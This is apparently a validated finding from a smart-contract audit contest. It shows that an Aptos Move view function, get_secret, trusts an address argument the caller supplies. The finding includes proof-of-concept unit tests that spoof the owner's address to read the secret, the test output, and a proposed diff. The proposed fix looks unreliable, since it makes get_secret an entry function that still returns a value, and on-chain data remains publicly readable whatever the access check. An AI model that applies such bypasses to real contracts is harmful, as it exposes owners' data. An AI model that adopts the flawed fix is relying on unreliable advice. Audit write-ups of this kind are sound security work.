Secret Vault

First Flight #46
Beginner FriendlyWallet
100 EXP
View results
Submission Details
Severity: high
Valid

Unauthorized Secret Disclosure in get_secret via View Function Exploit

Root + Impact

Description

The contract's intended behavior is for the secret to be accessible only by the owner. However, the get_secret function, marked with #[view], is insecure. View functions can be called by anyone off-chain without a signed transaction. The function's access control check, assert!(caller == @owner, NOT_OWNER), relies on a user-supplied address (caller) rather than an authenticated signer. An attacker can bypass this check by simply providing the owner's address, gaining unauthorized access to the secret.


Proof of Concept:

The following test, when run against the vulnerable contract, fails because the get_secret function does not abort as expected. Instead, it successfully returns the secret, proving the vulnerability. The debug::print output confirms that a non-owner can retrieve the secret.

// Root cause in the codebase with @> marks to highlight the relevant section
#[test(owner = @0xcc, attacker = @0x456)]
#[expected_failure(abort_code = NOT_OWNER)]
fun test_attacker_cannot_read_secret(owner: &signer, attacker: &signer) acquires Vault {
use aptos_framework::account;
use std::signer;
account::create_account_for_test(signer::address_of(owner));
account::create_account_for_test(signer::address_of(attacker));
set_secret(owner, b"top secret");
// The attacker calls the get_secret function with a spoofed address
// The test expects this to fail with NOT_OWNER.
let _ = get_secret(signer::address_of(owner));
}

Risk

Test Output


Running Move unit tests

[ FAIL ] 0x234::vault::test_attacker_cannot_read_secret

...

Test failures:

Failures in 0x234::vault:

┌── test_attacker_cannot_read_secret ──────

│ Test did not error as expected

└──────────────────

Test result: FAILED. Total tests: 7; passed: 6; failed: 1

A secondary test that passes, test_view_function_exploit, provides direct evidence of data exfiltration by outputting the secret to the console:

Likelihood:

The likelihood of this vulnerability being exploited is high.


Ease of Exploitation:

The exploit does not require any special privileges, complex attacks, or financial resources. An attacker only needs to know the owner's address, which is public on the blockchain. They can then simply call the view function with the owner's address as an argument from any off-chain tool.

No Transaction Costs:

Since get_secret is a view function, calling it costs nothing (no gas fees), which means an attacker can attempt to retrieve the secret an unlimited number of times without any penalty. This makes it an attractive and low-risk target for exploitation.

Impact:

The impact of this vulnerability is high.

Confidentiality Compromise:

The most direct impact is the complete compromise of the "secret" data. The Vault is designed to be a private storage mechanism, but the vulnerability allows anyone to bypass the access control and retrieve the secret, rendering the entire purpose of the contract moot.

Data Exfiltration:

The vulnerability allows for the unauthorized reading of sensitive data stored on-chain. While the get_secret function is a view function (read-only), the exploit demonstrates that an attacker can successfully exfiltrate information, which is a significant security breach.

Proof of Concept

(venv) [ec2-user@ip-172-31-38-67 2025-07-secret-vault]$ nano sources/secret_vault.move
(venv) [ec2-user@ip-172-31-38-67 2025-07-secret-vault]$ aptos move test
INCLUDING DEPENDENCY AptosFramework
INCLUDING DEPENDENCY AptosStdlib
INCLUDING DEPENDENCY MoveStdlib
BUILDING aptos-secret-vault
Running Move unit tests
[ FAIL ] 0x234::vault::test_attacker_cannot_read_secret
[ PASS ] 0x234::vault::test_double_set_fails
[debug] 0x416c6c2074657374732070617373656421
[ PASS ] 0x234::vault::test_secret_vault
[ PASS ] 0x234::vault::test_unauthorized_access
[ PASS ] 0x234::vault::test_value_persists_after_set
[debug] "my_super_secret"
[ PASS ] 0x234::vault::test_view_function_exploit
[ PASS ] 0x234::vault::test_view_function_vulnerability
Test failures:
Failures in 0x234::vault:
┌── test_attacker_cannot_read_secret ──────
│ Test did not error as expected
└──────────────────
Test result: FAILED. Total tests: 7; passed: 6; failed: 1
// ================ // Tests
// ================
// Happy path: set and read by inspecting the resource directly
#[test(owner = @0xcc, user = @0x123)] fun test_secret_vault(owner: &signer, user: &signer) acquires Vault {
use aptos_framework::account;
// Set up accounts (ok to call in tests)
account::create_account_for_test(signer::address_of(owner));
account::create_account_for_test(signer::address_of(user));
let secret = b"i'm a secret";
set_secret(owner, secret);
let o = signer::address_of(owner);
let vault = borrow_global<Vault>(o);
assert!(vault.secret == string::utf8(secret), 100);
debug::print(&b"All tests passed!"); }
// Calling view with a non-owner address should abort with NOT_OWNER
#[test(owner = @0xcc, user = @0x123)]
#[expected_failure(abort_code = NOT_OWNER)]
fun test_unauthorized_access(owner: &signer, user: &signer) acquires Vault {
use aptos_framework::account;
account::create_account_for_test(signer::address_of(owner));
account::create_account_for_test(signer::address_of(user));
set_secret(owner, b"top secret");
// get_secret asserts caller == @owner; passing user's address should abort
let _ = get_secret(signer::address_of(user));
}
// Setting twice should abort because the resource already exists at owner
#[test(owner = @0xcc)]
#[expected_failure] // don't pin code; second move_to will fail
fun test_double_set_fails(owner: &signer) {
use aptos_framework::account;
account::create_account_for_test(signer::address_of(owner));
set_secret(owner, b"first");
// second publish of the same resource should abort at VM level
set_secret(owner, b"second");
}
// After a successful set, the value remains what we stored
#[test(owner = @0xcc)]
fun test_value_persists_after_set(owner: &signer) acquires Vault {
use aptos_framework::account;
account::create_account_for_test(signer::address_of(owner));
let s1 = b"persist me";
set_secret(owner, s1);
let v = borrow_global<Vault>(signer::address_of(owner));
assert!(v.secret == string::utf8(s1), 100);
}
#[test(owner = @0xcc, user = @0x123)]
fun test_view_function_vulnerability(owner: &signer, user: &signer) acquires Vault {
use aptos_framework::account;
use std::signer;
// Set up accounts
account::create_account_for_test(signer::address_of(owner));
account::create_account_for_test(signer::address_of(user));
// Owner sets a secret
let secret = b"my_super_secret";
set_secret(owner, secret);
// Assert that the user is not the owner to prove the test setup is correct
assert!(signer::address_of(user) != signer::address_of(owner), 101);
// Call the view function from the user's context, but pass the owner's address as the 'caller'
let retrieved_secret = get_secret(signer::address_of(owner));
// Assert that the retrieved secret matches the one set by the owner
// This will cause the test to pass, proving the vulnerability
assert!(retrieved_secret == string::utf8(secret), 102);
}
#[test(owner = @0xcc, attacker = @0x456)]
#[expected_failure(abort_code = NOT_OWNER)]
fun test_attacker_cannot_read_secret(owner: &signer, attacker: &signer) acquires Vault {
use aptos_framework::account;
use std::signer;
account::create_account_for_test(signer::address_of(owner));
account::create_account_for_test(signer::address_of(attacker));
set_secret(owner, b"top secret");
// The attacker calls the get_secret function with a spoofed address
// The test expects this to fail with NOT_OWNER.
let _ = get_secret(signer::address_of(owner));
}
#[test(owner = @0xcc, attacker = @0x456)]
fun test_view_function_exploit(owner: &signer, attacker: &signer) acquires Vault {
use aptos_framework::account;
use std::signer;
use std::debug; // You might need to add this line
// Create accounts for the owner and the attacker.
account::create_account_for_test(signer::address_of(owner));
account::create_account_for_test(signer::address_of(attacker));
// The owner sets the secret.
let secret = b"my_super_secret";
set_secret(owner, secret);
// The attacker attempts to read the secret by providing the owner's address.
let stolen_secret = get_secret(signer::address_of(owner));
// Print the stolen secret to the console.
debug::print(&stolen_secret);
// Assert that the attacker was able to retrieve the correct secret.
// This will cause the test to pass, proving the vulnerability.
assert!(stolen_secret == string::utf8(secret), 101);
}
}

Recommended Mitigation

The get_secret function should be an entry function that requires an authenticated &signer argument. This ensures that the caller's address is verified by the Aptos VM, preventing address spoofing and enforcing true access control.

- remove this code
+ add this code
--- a/sources/secret_vault.move
+++ b/sources/secret_vault.move
@@ -21,8 +21,8 @@
event::emit(SetNewSecret {});
}
// --- VIEW ---
- #[view]
- public fun get_secret(caller: address): String acquires Vault {
- assert!(caller == @owner, NOT_OWNER);
- let vault = borrow_global<Vault>(@owner);
- vault.secret
+ // --- ENTRY ---
+ public entry fun get_secret(caller: &signer): String acquires Vault {
+ assert!(signer::address_of(caller) == @owner, NOT_OWNER);
+ let vault = borrow_global<Vault>(@owner);
+ vault.secret
}
Updates

Lead Judging Commences

bube Lead Judge 12 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of signer check in `get_secret`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.